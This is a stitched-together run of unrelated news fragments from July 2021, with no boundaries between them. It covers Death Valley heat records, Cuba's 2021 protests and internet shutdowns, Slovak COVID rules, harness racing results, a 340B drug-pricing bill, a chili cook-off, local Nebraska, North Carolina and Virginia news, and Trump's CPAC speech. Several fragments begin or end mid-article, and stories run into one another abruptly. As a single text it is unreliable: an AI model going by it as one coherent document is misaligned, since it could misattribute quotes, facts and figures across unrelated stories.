An increase in vegetation and some man-made structures not too far south of the station have resulted in poorer ventilation through the station area. Since the station is above a bare and sandy surface, hot air along the ground during afternoon sunshine is less effectively mixed away from the instrumentation. The result is higher temperature readings during the afternoon comparably, Reid wrote. I figure that most summer maximums at Death Valley today are a couple of degrees higher because of the poorer station exposure. A day that hits 125 degrees today probably would have only been as high as 122-123 degrees before 1980.

Figure 1. Hourly maximum temperature at Death Valley National Parks Furnace Creek Visitor Center July 6-12, 2021. (Image credit: NOAA)

Official world record remains 134F at Furnace Creek in 1913

If Fridays observation passes an investigation (instrument calibration, etc.) then, yes, this is a new reliably measured global extreme heat record, Burt wrote by email.

But the observation will not count as an official world record. In 2013, WMO officially decertified the official all-time hottest temperature in world history, a 136.4 degrees Fahrenheit (58.0C) reading from Al Azizia, Libya, in 1923. (Burt was a member of the WMO team that made the determination.) With the Libya record abandoned, the official world record was given to a 134 degrees Fahrenheit (56.7C) measurement taken at Death Valley on July 10, 1913.

However, this record has been strongly disputed by Burt, Herrera, and Reid.

The old Death Valley record from July 1913 is 100% bogus (not just 99.9% such), as are all other temperature readings of 130 degrees Fahrenheit or higher from Africa in the past, Burt said.

Burt wrote a detailed 2016 blog post at Weather Underground challenging the 1913 record at Death Valley, explaining that official readings of 134, 130, and 131 degrees Fahrenheit taken on July 10, 12, and 13, 1913 were likely the result of an inexperienced observer. Climatologist William Reid has also extensively researched what he calls an improbable record in 1913. In order for the 1913 Death Valley record to be decertified, though, an official WMO investigation committee would have to be assembled to look into the matter, a years-long process for which there is currently no motivation.

The only other temperature of at least 130 degrees Fahrenheit officially recognized by WMO is a 131-degree reading at Kebili, Tunisia, set July 7, 1931, which is considered to be Africas hottest temperature.

Burt disputed this record: I mentioned to the WMO about the Kebili temperature of 131 degrees Fahrenheit back in 2012, when asked what I thought the next hottest temperature in Africa (after Al Azzia) might be, since that was the only temperature over 130 degrees Fahrenheit that had an actual date attached to it. However, the Kebili record is even more bogus than even the Al Azzia record, and I said so. Kebili is a relatively cool spot in Tunisia (an oasis) and never since the 1930s ever again recorded a maximum temperature above 118 degrees Fahrenheit. Nowhere in Africa has any reliably observed temperature been measured above 126 degrees Fahrenheit.

Figure 2. The unofficial thermometer at Death Valley National Parks Furnace Creek Visitor Center (which reads about 5F too high, compared to the official instrument), as seen on Saturday afternoon, July 10, 2021. Earths third-hottest reliably measured temperature in history, 54.1 C (129.4F), was recorded that day at the site. (Image credit: William Reid)

Top-10 list of hottest world temperatures: Furnace Creek dominates

Furnace Creek made a run at beating its Friday world record on Saturday, but according to an email from climatologist William Reid, who visited Death Valley that day, high clouds moved over the station in the afternoon, allowing the temperature to reach only 129.4 degrees Fahrenheit (54.1C). Even so, the highs Friday and Saturday mean that the planets top three hottest reliably measured temperatures on record have all occurred at Furnace Creek in the past year. Heres is Earths top-ten list of hottest reliably measured temperatures:

1) 54.4 C (130.0F), 7/09/2021, Furnace Creek (California, U.S.);

2) 54.4 C (129.9F), 8/16/2020, Furnace Creek (California, U.S.);

3) 54.1 C (129.4F), 7/10/2021, Furnace Creek (California, U.S.);

4) 54.0 C (129.2F), 6/30/2013, Furnace Creek (California, U.S.);

4) 54.0 C (129.2F), 7/21/2016, Mitribah (Kuwait);

6) 53.9 C (129.0F), 7/17/1998, Furnace Creek (California, U.S.);

6) 53.9 C (129.0F), 7/19/2005, Furnace Creek (California, U.S.);

6) 53.9 C (129.0F), 7/06/2007, Furnace Creek (California, U.S.);

6) 53.9 C (129.0F), 7/22/2016, Basra International Airport (Iraq); and

10) 53.8 C (128.8F), 7/22/2016, Basra-Hussen (Iraq).

Kudos go to Maximiliano Herrera (@extremetemps) and Jerome Reynaud (geoclimat.org) for helping assemble this list.

Figure 3. The Stovepipe Wells measurement station in Death Valley, California. (Image credit: NOAA)

Highest recorded minimum temperature in North America: 107.7F

Another astonishing heat record occurred on Sunday, when the 24-hour low temperature at Stovepipe Wells, also located in Death Valley, dropped to a ridiculously hot 107.7 degrees Fahrenheit (42.1C). The previous North American hottest reliably measured minimum temperature on record was 107 degrees Fahrenheit (41.7C) at Furnace Creek on July 12, 2012. On Sunday, the high temperature at Stovepipe Wells hit 128.6 degrees Fahrenheit (53.7C)  one of the hottest U.S. temperatures ever measured. Summing together Sundays high and low and dividing by two gives an average temperature for the day of 118.1 degrees Fahrenheit (47.8C), which is very likely a world record for reliably measured average daily temperature.

According to weather records expert Maximiliano Herrera (@extremetemps), only one location worldwide has recorded a higher overnight minimum temperature than Stovepipe Wells: Oman. The world record for highest 24-hour minimum temperature is 108.7 degrees Fahrenheit (42.6C) at Qurayyat, Oman, on June 26, 2018. The world record for highest overnight low (12-hour low) is 111.6 degrees Fahrenheit (44.2C) at Khasab Airport, Oman, on June 17, 2017.

Note that the Western Region Climate Center shows seven daily minimums of 110F occurred at Death Valleys Greenland Ranch, primarily in the 1920s. These would be the official hottest minimums on record for the world, presumably. However, in an email, climatologist William Reid said, Do I believe they are authentic? No. The record provided by the observer is plagued by some of the problems found during the 1913 era at the site.

Stovepipe Wells, established in 2004, is part of NOAAs Climate Reference Network, with equipment among the highest quality in the world. The station is located at an elevation of 80 feet (24 m), and is usually 3-5 degrees Fahrenheit cooler than Furnace Creek, which is at -193 feet (-59 m).

Other all-time heat records July 9-11

Among U.S. stations with long periods of record spanning at least 40 years, there were at least 12 sites that tied or exceeded their previous all-time (any day) heat record during the July 9-11 western U.S. heat wave (kudos to Maximiliano Herrera for this list):

July 9:

Grand Junction, CO: 107F (41.7C), new record

Tonopah, NV: 104F (40.0C), tied

July 10:

St. George, UT: 117F (47.2C), ties all-time state record for Utah

Farmington, NM: 106F (41.1C), new record

St. Johns, AZ: 104F (40.0C), tied

Page, AZ: 111F (43.9C), tied

Mercury, NV: 113F (45.0C), tied

Toponah, NV: 104F (40.0C), tied

Las Vegas Airport, NV: 117F (47.2C), tied

China Lake, CA: 119F (48.3C), tied

Barstow-Daggett Airport, CA: 118F (47.8C), tied

Bishop, CA: 111F (43.9C), new record

Winslow, AZ: 110F (43.3C), new record

July 11:

Tonopah, NV: 105F (40.6C), new record

This list may be updated if additional records come to light, or are set on Monday, when the heat wave will be winding down. Over the past 30 days, according to the NOAA/NCEI database of record highs and lows, the U.S. has racked up a startling total of at least 301 all-time record highs. NOAAs list includes stations with a period of record shorter than 40 years, though.

Update from July 13: Many more all-time heat records fell July 9-11 in Utah, Arizona, California, Colorado, and Nevada, according to Maximiliano Herrera. In Utah alone, there were these: Eskdale (tied), Kodachrome Basin (tied), Fort Duchesne (tied), Hovenweep 109F on July 9 (beaten), Escalante 106F on July 9 (beaten), and Bullfrog Basin 114F on July 10 (beaten).

Figure 4. Predicted height of the atmospheres 500-mb surface in decameters (dm) at 18Z (2 p.m. EDT) Tuesday, July 20, 2021, according to the 0Z Monday, July 12, run of the European model. A near record-strength ridge of high pressure with a 500 mb height peaking at 599 dm was predicted to be centered over Wyoming. (Image credit: weathermodels.com)

Deja vu : another extreme high-pressure ridge predicted for the western U.S. next week

Its July, the hottest month of the year in the Northern Hemisphere, and extreme ridges of high pressure forming in July have a good chance of setting all-time heat records. Unfortunately, the latest long-range forecasts from the GFS and European models predict that the western U.S. will have another unusually intense ridge of high pressure capable of overthrowing more all-time U.S. heat records next week.

By one common measure, the 0Z Monday run of the European model is predicting that the heat dome at the center of this upper-level high will be nearly as strong as any ever observed in the region. Warm air expanding at lower levels pushes the height of the 500-millibar surface, roughly at the midpoint of the atmosphere, upward. The model predicted a 500-mb height of 599 decameters over Wyoming on July 20. The record-high 500-millibar height at Riverton, Wyoming, as measured in twice-daily weather-balloon launches (soundings) since 1948, is 605 dm.

But long-range forecasts of this nature are often inaccurate, so the coming heat wave may fall short of setting all-time records. However, the models did an excellent job seven days in advance in predicting the intensity of this past weekends extreme ridge of high pressure. Even if the next heat wave falls short of setting all-time records, it will boost the odds of significant wildfire activity, and intensify the record drought gripping the western U.S., where severe to exceptional drought (levels D2 to D4) was at 83% last week  the highest level since the U.S. Drought Monitor was established in 2000.
In reaction to Sundays islandwide wave of unprecedented, 3G-enabled anti-government street proteststhe result of years of political repression, lack of fundamental freedoms, recent shortages of food shortages and medicine as well as a sharp increase in COVID infections and deathsCuban President Miguel Diaz-Canel took to Cuban national television in order to energetically if unconvincingly denounce the protesters as counterrevolutionary mercenaries and gusanos (worms) acting at the behest of the United States government. He also reminded his listeners that in Cuba, the streets belong to the revolutionaries and protesters would have to climb over our cadavers to achieve their goals.

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If this incendiary language were not clear enough, this hand-picked successor to the Castro brotherswho was once thought to be a modern, tech-friendly, and forward-looking figure because of his relative youth (hes 61 compared with Raul Castros 90)let Cubas revolutionaries (supporters of the government) know that he had their backs, inciting them to violence by encouraging them meet the protesters head-on in the streets using any means necessary to stop them.

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We will be in the streets fighting, he angrily declared. We call on all revolutionaries across the country, all communists, to take to the streets. The order for combat has been given. Revolutionaries to the streets!

Fundamental to the internets revolutionary potential is the way it allows horizontal communication among Cubans on the island.

While Sundays dramatic marches, confrontations with the police, and fearless street chants of freedom, down with the dictatorship, and patria y vida have been the main focus of international media coverage, a fuller understanding of whats happening, how it came to pass, and whats at stake for the future requires that we look beyond the street to the web, and beyond public space into cyberspace. Its at the intersection of the two where the roots and possible fruits of this uprising lie.

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Talk of the democratizing or revolutionary potential of the internet has become passe in most Western democracies given the dominance of a handful of Big Tech companies whose business model is based on mining our personal data for private profit and serving as unaccountable platforms for fake news and political polarization. However, in authoritarian contexts like Cuba, where the government has long since monopolized the mass media and transformed journalism into political propaganda, access to unfiltered channels of information and communication can indeed shift the balance of power in small but powerful ways.

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Yes, Im talking about the social media behemoths Facebook, YouTube, Twitter, and Instagram. While they may be awash in bogus anti-vax pseudoscience, cat videos, and annoying selfies, they also enable directas, the Cuban term for the livestream broadcasts that are the true culprit behind the viral spread of the protests across Cuba on Sunday morning, without the need for a central coordinating authority or organization.

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Just as important are peer-to-peer, direct messaging platforms like WhatsApp, Signal, and Telegram. In recent months, Cuban activists and independent journalists have migrated away from Facebooks Messenger toward these three applications because their encryption allows for private communication and the untraceable coordination online of real-world actions in the street. Such creative and characteristically Cuban inventos are workarounds that provide us a window into digitally enabled activism on the island today.

Cubans first gained access to mobile data plans in December 2018, and since then, their innovative use has supercharged horizontal communications between emergent civil society groups like the San Isidro (#MSI) and Nov. 27 (#27N) movements and eroded the two key pillars of information control essential to the survival of all totalitarian regimes: fear of the consequences of speaking truth to power, and isolation from others who harbor similar frustrations. Just six months after its launch, as many as 2.2 million Cubans were already accessing mobile internet service, constituting a great leap forward thats giving rise to a new class of netizens, who are organizing behind causes and social movements in a manner not seen since the Cuban revolution itself, according to the Washington Post.

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This weeks events were preceded in 2019 by an independent march in favor of LGBT rights and a protest in defense of SNET (#YoSoySNET), a community organized set of local area networks for gamers, both of which were coordinated via social media. Indeed, following the May 2019 LGBT march, Norges Rodriguez, director of the independent digital magazine Yucabyte, told the Washington Post that when [authorities] started detaining people, they were looking for a leader. But since it was organized through social media, there was no specific leader.

While the internets role in connecting Cuba to the outside world and especially to its diverse digital diaspora is important, even more fundamental to its revolutionary potential is the way it allows horizontal communication among Cubans on the island, as was illustrated by the spread of the protests on Sunday morning.

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This explains why ETECSA, the governments telecom monopoly, has once again temporarily pulled the plug on the internet this week, as it has done repeatedly over the past year to prevent the virus of defiant public dissent from spreading via the 4.2 million Cubans (40 percent of the islands 11 million population) who now access the web via their cellphones and defuse a series of other smaller but increasingly audacious and combustible protest movements. These include a pair of mass gatherings of young artists and intellectuals outside Cubas Ministry of Culture on Nov. 27, 2020 and Jan. 27, 2021.

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Reports from Cubas independent press indicate that while some have been able to access the web intermittently from a home connection or a Wi-Fi hot spot in a public park, in the 48 hours since the internet was cut just after 4 p.m. on Sunday, mobile data plansthe most dynamic, widespread, and, for the government, threatening mode of internet connectionare completely unavailable. Indeed, my multiple attempts in recent days to contact a number of the islands leading independent journalists (those not already detained by the police) resulted in an uncharacteristic radio silence.

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One self-taught reporter who managed to get back to me using a Wi-Fi hot spot in a public park in Havana warned ominously, As soon as the dictatorship gets its bearings, theyre going to hunt us down one by one. Theyve got patrols coming by the Wi-Fi parks at night so that no one can connect. Please dont abandon us.

A tech blogger from Santiago used Twitter to send me the following direct message: There are still internet shutdowns all across the country. You need a VPN to access social media and the web; it was to be expected. This is what happens when the State owns the only telecom company in the country. Can anyone still doubt that here we live under a dictatorship?

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Another independent Cuban journalist who now works from Miami for Inventario, an innovative data journalism project that tracks government repression and cuts in web traffic, indicated that the shutdown has cut him off from his colleagues back on the island. The worst thing now, he lamented, is that we have so little information about what is happening inside Cuba and almost zero access to our sources. Still, he and his colleagues, working diligently over the past 48 hours through the scores of videos posted from Cuba on Facebook and YouTube before the shutdown, have succeeded in producing an interactive map of the nearly 100 places across the island where filmed protests took place.

In the decade since the Arab Spring, authoritarian governments across the world have developed an arsenal of insidious responses to counter the development of what Zeynep Tufekci labeled the networked public sphere in her 2017 book, Twitter and Tear Gas: The Power and Fragility of Networked Protest. Simultaneously powerful and fragile given their lack of an internal structure of authority, their distributed nature, and their grounding in weak ties, internet-fueled social movements confront regimes that use the chaotic, open, and free nature of the internet against them.

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With a flood of unverified information and potentially fake news, authoritarian governments like Cubas can shift from traditional forms of censorship that sought to block specific anti-regime information or websites (as the Cuban government has done systematically for the past decade) to a new strategy that focuses instead on making available information unusable. According to Tufekci, these strategies include demonizing online mediums, mobilizing armies of supporters or paid employees who muddy the online waters with misinformation, information glut, doubt, confusion, harassment, and distraction, making it hard for ordinary people to navigate the networked public sphere, and sort facts from fiction, truth from hoaxes.

In recent days the Mexico-based independent Cuban journalist Jose Raul Gallego has gone to great lengths to demonstrate the bogus nature of a seductive internet rumor that the province of Camaguey had declared itself a free state, with protestors capturing the provincial head of the Communist Party and police taking off their uniforms to join the protests. The strategy of cutting off communications, writes Gallego, is not only a tactic of the regime to keep information from spreading and people from coordinating further protests, but also intended to spread fake news that creates confusion and causes people to lose hope once they are shown to be false. This is exactly the kind confusion and lack of trust that Tufekci describes in her work on networked social movements, whereby authoritarian regimes like Cuba can use the anonymity and ubiquity of information on the internet to sew doubt and demobilize citizens.

In his 2012 memoir entitled Revolution 2.0, Wael Ghonim, the Egyptian Google employee who anonymously started the pivotal opposition Facebook page We Are All Khaled Said, recounts how the use of social media helped to launch the Tahrir Square revolution, bring down the Hosni Mubarak regime, and launch the Arab Spring in early 2011. However, given the extreme polarization and return to authoritarian rule that followed this so-called Facebook revolution, Ghonim has since become much more circumspect about the blessings (and curses) of social media.

Indeed, his initial, facile conviction that if you want to liberate a society, all you need is the internet turned out to be dead wrong. While social mediaenabled movements can be effective at breaking things, they are often powerless at building thingslike new democratic regimesthat require consensus, compromise, strong ties, hierarchy, and deep understanding.

Thus, as Cubans celebrate the collective loss of fear on Sunday morning that has enabled them to take to the streets en masse in cities and towns across the island, they should both recognize the role that access to mobile internet played in facilitating that unprecedented uprising (and demand its immediate restoration) and realize with Ghonim that in their struggle to liberate and rebuild Cuban society based on the rule of law, political equality, and the full exercise of civil liberties and political rights, they will need much more than that.
All of Slovakia in green tier, some rules still apply

However, for the first time after a long time, Slovakia witnessed an increase in the daily number of Covid-19 cases.

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For the first time since the Covid automat warning system was launched in Slovakia in winter, all Slovak regions are green, the best possible classification.

Our paywall policy The Slovak Spectator has decided to make all the articles on the special measures, statistics and basic information about the coronavirus available to everyone. If you appreciate our work and would like to support good journalism, please buy our subscription. We believe this is an issue where accurate and fact-based information is important for people to cope.

This means that the same measures will be valid throughout Slovakia from July 19 and the epidemic situation is the best it has been so far.

Health analyst Matej Misik, however, warns that for the first time after a long time, Slovakia witnessed an increase in the daily number of Covid-19 cases.

It is probably linked with the import of cases from abroad, Misik told the press. He added that the situation is very similar in neighbouring countries, where all of them marked an increase in cases.

Eliminating all anti-epidemic measures is impossible right now, Health Minister Vladimir Lengvarsky said.

The measures are set to prevent the fast spread, he noted.

(Source: Health Ministry)

What measures are still in place?

There are several measures that have to be observed even in green-tier districts, the hygienists point out. Masks are still obligatory in all interiors, meaning public buildings, public transport, and taxis. Masks are also required outside when attending a mass event. Exceptions apply for children younger than six, people doing sports, brides and grooms at their wedding, and those visiting swimming pools and wellness centres.

A negative Covid test result is still required inside waterparks, during wedding celebrations, and at parties and similar events. People must show a negative PCR/LAMP test no older than 72 hours or a negative antigen test no older than 24 hours. Those who have been vaccinated and have confirmation of this do not need to take a test.

Weddings, parties and similar events in restaurants, cafes and bars are further limited to 50 percent capacity when standing up to a maximum of 500 people inside and 1,000 outside. In the case of sitting, 75 percent of capacity is allowed up to a maximum of 500 people inside and 1,000 outside.

In shopping centres, it is still forbidden to eat or drink, except in food courts. Wellness centres, waterparks and spas may allow a maximum of 50 percent capacity but no more than 1,000 people. A maximum of 50 customers or 1 customer per square metre is permitted in fitness centres.

In the case of theatres, the cinemas or other artistic events, the maximum allowed capacity is 500 inside and 1,000 outside.

More about coronavirus development in Slovakia:

14. Jul 2021 at 17:17 | Compiled by Spectator staff
On photography: Unscrupulous politicians fear the camera

Photographer Martin Tiso speaks about his experience with models and politicians.

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She stood in front of him, beautiful and smiling, professional, and ready to be photographed for a LOreal campaign. Was he nervous taking photos of actress Andie MacDowell?

No, Martin Tiso says, you have to think of things other than fear in such moments.

Tiso takes portraits and has experience with prestigious fashion magazines. He works with models, politicians, CEOs of big companies, and with winners of beauty pageants. The photographer established himself in the hard business after arriving in Prague, where he has lived for 21 years.

He studied visual arts at the Academy of Fine Arts, and when he turned up at Bratislava advertising agencies, he was told at the reception desk not to show his blurred art portfolio to anyone.

14. Jul 2021 at 18:02 | Kristina Kudelova
Trainer/driver Kelly Hoerdt put the pedal to the metal with Armycaptin Hanover in Tuesdays $8,100 Open Pace at Century Downs, and the gelding never looked back en route to a second consecutive victory in the tracks top class.

Leaving from Post 1, Armycaptin Hanover rocketed out and carved out relatively easy, first-half fractions of :28.2 and :58. Icy Blue Scooter came after the leader on the way to the mid-way point, and they battled through a savage third quarter clocked in :26.4. The three-quarter marker flashed up in 1:24.4, and from there Hoerdts Armycaptin Hanover kicked home in :28 to win by a head over Icy Blue Scooter in 1:52.4. Third prize went to Tiempo Hanover.

Hoerdt shares ownership on the five-year-old son of Captaintreacherous-Allamerican Coed with Blair Corbeil of Beaumont, AB. It was the pacers fifth win of the year and the 17th of his career. He pushed his earnings over $90,000 with the triumph.

It was a memorable day at the office for driver Dustin Read who celebrated his first ever driving victory, and he did so in dramatic fashion.

Away eighth with pacer American Formula in Race 5, Read managed to rally the mare past seven foes in the final quarter of the contest en route to posting the 1:57.1 decision.

Read, of Edmonton, AB, also owns the seven-year-old daughter of Allamerican Native-Grecian Formula.

To view results for Tuesday's card of harness racing, click the following link: Tuesday Results  Century Downs.
Ambassador Hanover and Ahundreddollarbill, both sent off at 1-9, did not disappoint in their respective $74,500 New York Sire Stakes events for three-year-old colt and gelding trotters on Tuesday night at Yonkers Raceway.

Coming off a runner-up finish in the MGM Yonkers Trot final back on July 2, Ambassador Hanover, driven by trainer Ake Svanstedt, went to the lead from post four, posted fractions of :28.3, :58.3, and 1:27.4, and sprinted a last quarter in :27.4 to win by 4-3/4 lengths in 1:55.3. Credit Con (Scott Zeron) got up for second after going first-over from third on the last turn, and Steel (Andy Miller) was third after a pocket trip. Sevenshadesofgrey (George Brennan) and Dees Red Delicious (Corey Callahan) rounded out the order.

Svanstedt also co-owns Ambassador Hanover, a Chapter Seven colt, with partners Order By Stable, Howard Taylor, and Judith Taylor. Ambassador Hanover now has six wins from 12 career starts, and he has now earned $383,769. He returned $2.10 to win.

In the other grouping, Incommunicado (Svanstedt) left quickly and made his way to the lead in the early stages, but Ahundreddollarbill (Andrew McCarthy) surged on the outside and grabbed command prior to the :28-second opening quarter. From there, Ahundreddollarbill kept the tempo lively with a :56.4 half and a 1:25 three-quarters, and he sailed home in :29 to win in 1:54. Dewey Arnold (Jason Bartlett) out-kicked Incommunicado for second, Latin Lover (Matt Kakaley) was fourth, and Seven Nation Army (Mark MacDonald) checked in fifth.

The time of 1:54 lowered Ahundreddollarbill's own track record for a 3-year-old trotting gelding of 1:54.2 set last month when he won his MGM Yonkers Trot elimination.

Ahundreddollarbill is a Chapter Seven gelding trained by Tony Alagna for owners Crawford Farms Racing and James Crawford IV. Ahundreddollarbill has compiled a record of 7-1-0 from 12 lifetime appearances, and he has now banked $303,557. He also paid $2.10 to win.

Beantown Madness (1:58.2), a Conway Hall half-brother to $4.29 million winner Arch Madness, and Seventier (1:56.1), a gelded son of Chapter Seven, took the two $15,000 New York Excelsior A Series races that were held on the undercard. Beantown Madness was driven by Jason Bartlett for owner/breeder Michael Goldberg and trainer George Ducharme, and trainer Trond Smedshammer also piloted Seventier for owner Purple Haze Stables LLC.

There was also one $6,500 New York Excelsior B Series dash contested, and it was won by King Jimmy from off-the-pace in 2:00.3. Jordan Stratton steered the RC Royalty gelding for trainer Robert Dill and owner Anthony Mazzeo.

New York Sire Stakes action at Yonkers resumes on Thursday night (July 15) with three flights for sophomore pacing fillies. Post time is 7:15 p.m.

(Yonkers)
Batavia Downs is proud to host the New York Sire Stakes (NYSS) County Fair Series on Thursday (July 15) starting at 12:30 p.m. (EDT).

"County Fair racing is where our young horses and many young horsemen and women get their start and can learn in a fun environment," said Kelly Young, Executive Director of the Agriculture and New York State Horse Breeding Development Fund. "We are so excited to add Genesee County racing at Batavia Downs to the schedule this year and provide another outstanding venue for New York-bred horses to compete on the County Fair circuit."

"County Fair is about more than ribbons and awards. Its about the experience and the people you share those experiences with. County fair is embracing the life skills and memories created while being part of the fair. Most importantly its about being a role model, giving back, and making the best better," added Amanda Gallo, President of the Genesee Agricultural Society.

Its been a pleasure working with the Genesee County Fair Society and the New York Sire Stakes to make this happen, said Todd Haight, Director and General Manager of live racing at Batavia Downs. These races are not only beneficial for our local racing community, but also horseman and women throughout New York State.

There will be 13 races on Thursday  eight trots and five paces  and all are non-betting events. Admission and parking are free at the track and race gates will open at noon with the track apron available for fans. Also, free full past performance programs are available for download at www.bataviadownsgaming.com. Everyone is encouraged to come to Batavia Downs and root all the aspiring 2- and 3-year-olds.

Claude Huckabone III's stable, who has 10 horses entered, leads the way for number of starters on the card. Local trainers competing include Doug Ackley, Ryan Swift, John Mungillo, Judy Blaun, Jim Graham, Tammy Cummings, Gerry Sarama, Robert Wittcop, Kirk Desmond and one of the perennial NYSS leading conditioners, Steve Pratt.

Many of the horses racing on this card have already started in other levels of the state sponsored series this year including the NYSS, Excelsior "A" and Excelsior "B" levels, so the racing promises to be very competitive.

Three of the four County Fair 2-year-old champions from 2020 will be in action on Thursday as 3-year-olds and include trotting filly Flexible Credit (Credit Winner-Back On Track), trotting colt Ready For Workout (Whataworkout-Oven Ready) and pacing gelding Brave Element (Bolt The Duer-Necessary Element).

The 72 entrants will compete for total purses of $30,250 and points, as they each try to make their way to the finals this fall.

The NYSS program that is facilitated by the Agriculture & New York State Horse Breeding Development Fund features stops at tracks in 21 different counties throughout the state and culminates with finals for the top point-getters at Historic Track in Goshen on Sunday (Sept. 5).

(Batavia Downs)
The 340B drug pricing program is a vital part of many rural and underserved areas, McKinley said. Without it, many providers would not be able to provide critical services and low-cost medicine to the communities they serve.

Spanberger, D-7th, and McKinley, R-1st, responded to concerns from health-care providers, especially in rural areas, that have seen insurers, drug makers and benefit managers threaten their access to the 340B program.

Actions taken by big pharmaceutical companies and middlemen have jeopardized the ability of clinics and hospitals to provide vital services, McKinley said.

The lawmakers proposal would prevent insurers and PBMs from discriminating against 340B providers or their contract pharmacies. Specifically, it would bar companies from treating 340B providers differently on fee reimbursement, joining networks or managing inventory. And it would block them from interfering in a patients choice to receive drugs from a 340B pharmacy, the legislators office said.

Spanberger said the bill would level the playing field for 340B pharmacies and providers, hold health insurance companies and PBMs accountable, and keep discounted prescription drugs available to Virginia hospitals, HIV/AIDS clinics and rural health-care providers.

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Mike Dallas, of Cheyenne, Wyoming, cooked the top chili at the 34th annual Nebraska State Champion CASI Chili Cook-Off on Saturday.

With a score of 112 out of a possible 150 points, Dallas held his position as the Oregon Trail Days chili champion after winning the 2019 OT Days cook-off. He also repeated as green chili champion and came fourth in the bean dish category.

The cook-off was not held during last years festivities.

This year, there were 15 entries in the chili competition, 13 bean competitors, 11 for green chili, and five apiece for the second-year salsa category and the inaugural barbeque category.

Its a little lower, actually, to tell you the truth. Normally we get 20 (chili entries), 22 beans...I dont know why, its hard to say, cook-off chairman Bill Schlaepfer said.

Around two dozen individual cooks participated, with most of them cooking in multiple categories.

Were missing a lot of faces, but weve got a few new faces, too, Scottsbluff resident Scott Harris said.

Harris has been cooking chili competitively for more than 20 years.
Gering Public Schools does not have plans to revise or adopt health standards for the upcoming academic year, according to a district statement.

Gering Public Schools Board of Education and district administration continue to monitor the proposed health standards shared by the Nebraska Department of Education (NDE). It is important to note that these standards from NDE are still in draft form and the decision to adopt them, once finalized, lives at the local school board level, the statement reads. GPS leadership also understands that there are many passionate beliefs and perspectives regarding these draft health standards.

As these standards are finalized and reach the local level where school boards decide what to adopt, GPS welcomes families and public input at the board meetings.

Charles Jones, Banner County School principal, said the district is awaiting the second draft.

Since they are revamping it even from the original draft that was sent out, we dont really have a stance at this time, he said. Well wait to see how it plays out.

Kimball Public Schools Superintendent Trevor Anderson said the district is also waiting for the second draft before deciding whether they support or oppose the standards.
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Dr. Rahul Gupta speaks during a news conference in 2017. President Joe Biden nominated Gupta to lead the federal Office of Drug Control Policy. Gupta served as West Virginia's drug czar from 2015 to 2018 and as the executive director of the Kanawha-Charleston Health Department for five years before that.
Diane Hamby, MSN, RN, MSHA, is the new director of 3 North at Iredell Memorial Hospital.

Hamby has extensive experience in the health care field, first working as a registered nurse for 30 years. She began as a medical-surgical nurse right out of college and then worked as a nurse in the nephrology and oncology departments before moving to the dialysis department. She also worked as an acute care nurse at various hospitals and as an outpatient care nurse for four years. She has always had a desire to help others and wanted to be a nurse since she was a child.

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My goal is to help both patients and staff to make better decisions and to make their life better, even by little things. Like making someone laugh when theyre having a bad day, said Hamby.
A Meet the Artist reception honoring Marty Harris will be held Saturday from 1-3 p.m. in the Lucas Mansion Gallery in Hiddenite.

The public is invited to visit with Harris and enjoy his new photography exhibit, The Journey Continues.

Located on the second floor of the Hiddenite Arts & Heritage Centers Lucas Mansion (316 Hiddenite Church Road), the gallery is free to visit Monday  Friday from 10 a.m. to 4:30 p.m. and on Saturday from 10 a.m. to 3 p.m..

Harris will greet visitors and share his passion for photography and art. His work will continue in the gallery through July 28.

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Harris interest in photography began with a fifth grade field trip and a $5 Kodak instamatic camera from a drug store.

Although he no longer makes a living as a photographer, photography is still his passion, and he puts his whole heart into it, finding beauty where some others may not. He is drawn to a bare tree in winter, a boat on the rocks at low tide, or a barn aged with sun, rain and time.
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By being part of one of these teams, I will have the opportunity to contribute to furthering our knowledge, efficiency and safety of space travel, she said. However, it is also the opportunity to apply that new knowledge to everyday life here on Earth. I would be part of something much bigger than myself.

The AMES Research Center in California is the location whose work most intrigues Roach.

The AMES Research Center is home to the worlds largest wind tunnel and the hub for all space travel re-entry research and testing, she said. The center also leads the nation in a research initiative to devise the best ways for commercial drones, flying cars and aircraft to share our skies safely.

The center is building the foundation for a future where drones are a part of our daily lives and economy  making deliveries, performing inspections, aiding emergency rescues.

Drone technology particularly resonates with Olivia because of recent events near her.
Beyond the trestle, this event also marks opening an additional section of trail that spans nearly a mile, Lapis said.

The trestle has been completed, but the trail beyond that still needs some further work, Mueller said.

The new section will go through the Summit Cut, which Mueller describes as a tunnel with the roof cut out.

In this section, sheer rock walls stand on both sides of the trail; this was constructed for railroad cars to pass.

Such cuts are not unusual on Virginias rail trails. More can be seen on the Salt Trail between Glade Spring and Saltville. The Virginia Creeper Trail, also, has similar sections along its 34 miles between Abingdon and Whitetop Station.

Still, Lapis touts the beauty of this section of the Mendota Trail.

Its very shady with an archway of trees, he said. It stays cavelike temperatures. Its cooler.

Getting this section dug out required much work, Lapis added.

It was so full of junk that it took many days of digging and dozing, Lapis said. It took a solid month to get it mossy instead of junky.
We just wanted to thank Mr. Gilliam for his service to the commission at this point, co-chair Greta Harris, president and CEO of the Better Housing Coalition, said. We appreciate your attendance, your thoughtfulness and your care to the democratic process.

Gilliam, appearing virtually, said he enjoyed his time on the panel and that he wished he could have met participants in person. The panel previously had met virtually because of COVID-19.

I do wish everyone good luck moving forward, Gilliam said. He said commission members have a difficult task ahead, and I wish you all the best.

The 14 remaining names on Norments original list are: Jeffrey Wayne Bolander of McGaheysville in Rockingham County; Erick Fletcher of Spotsylvania County; Thomas Douglas Heffernan of Elkton in Rockingham County; Ben Hudson of Montross in Westmoreland County; Thomas H. Hueg of Fairfax Station in Fairfax County; Charles Johnson of Williamsburg; Joni Organ of Lynchburg; Christian Ortego of Williamsburg; Mark G. Rinaldi of Williamsburg; Mary Catherine Slusher of Rockingham County; Shelly Smith of Powhatan County; John Thomas of Roanoke; Virginia Trost-Thornton of Forest, which is part of Bedford and Campbell counties; and Robert West of Norfolk.
Though Republicans are looking ahead to next year's midterm elections as they try to craft an effective line of attack against a popular President and his administration. But there was no issue more dominant at the CPAC gathering in Dallas than Trump's false claim that the 2020 election was fraudulent, even though there is no evidence of widespread voting fraud in last year's contest.

Trump accused Democrats of using the law and the powers of government to silence "their political opponents" and advance "the radical agenda of their party." He alluded to the fact that his former personal lawyer, Rudy Giuliani, has now had his law license suspended in Washington, DC, and also temporarily lost his license in New York after advancing election lies.

"The radical left Democrats are turning the law itself into a weapon for partisan persecution," Trump said. "Look at what they're doing to incredible people like Rudy Giuliani."

"There are now two sets of laws in this country -- one for the left wing mob, the rioters and the rampagers ... who can do whatever the hell they want to whomever they want to do it. And there is another set of rules for law-abiding conservative Americans who happen to be Republicans, who simply want to speak their minds and exercise their rights to talk about the election," he said.
